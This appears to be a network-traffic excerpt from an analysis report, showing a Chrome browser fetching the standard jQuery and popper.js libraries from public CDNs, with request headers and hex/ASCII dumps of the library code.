2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49723	151.101.194.137	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:00 UTC	615	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:00 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3340549 Date: Sat, 28 Sep 2024 22:59:00 GMT X-Served-By: cache-lga21980-LGA, cache-ewr-kewr1740040-EWR X-Cache: HIT, HIT X-Cache-Hits: 146, 0 X-Timer: S1727564340.264974,VS0,VE3 Vary: Accept-Encoding
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2024-09-28 22:59:00 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49724	104.17.24.14	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:00 UTC	649	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:00 UTC	928	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:59:00 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 864569 Expires: Thu, 18 Sep 2025 22:59:00 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xpCR5ib%2But9ZCvIc5rIA3kXStL8eWh2Ako6I6ljD2une7BprkIIFGnyxxdMveermKQLp0qSNJxsDs9VeLsucWh%2FAzEzTENin6otSsFB9NQ9amrFUZnhKvC87s%2BgSbIBdaCoD5vM6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ca75766a8f78c11-EWR
2024-09-28 22:59:00 UTC	441	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-09-28 22:59:00 UTC	1369	IN	Data Raw: 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 3b 7d 76 61 72 20 69 3d 74 28 65 29 2c 72 3d 69 2e Data Ascii: mputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.
2024-09-28 22:59:00 UTC	1369	IN	Data Raw: 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b 27 57 69 64 74 68 27 5d 2c 31 30 29 2b 70 61 72 73 65 46 6c 6f 61 74 28 65 5b Data Ascii: 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFloat(e[
2024-09-28 22:59:00 UTC	1369	IN	Data Raw: 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e 63 6f 6e 74 61 69 6e 73 28 64 29 3a 6f 3d 3d 3d 64 26 26 27 42 4f 44 59 27 21 Data Ascii: ft-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&&'BODY'!
2024-09-28 22:59:00 UTC	1369	IN	Data Raw: 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d 65 2e 68 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 3e 3d 6f 2e 63 6c 69 65 6e Data Ascii: dth,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>=o.clien
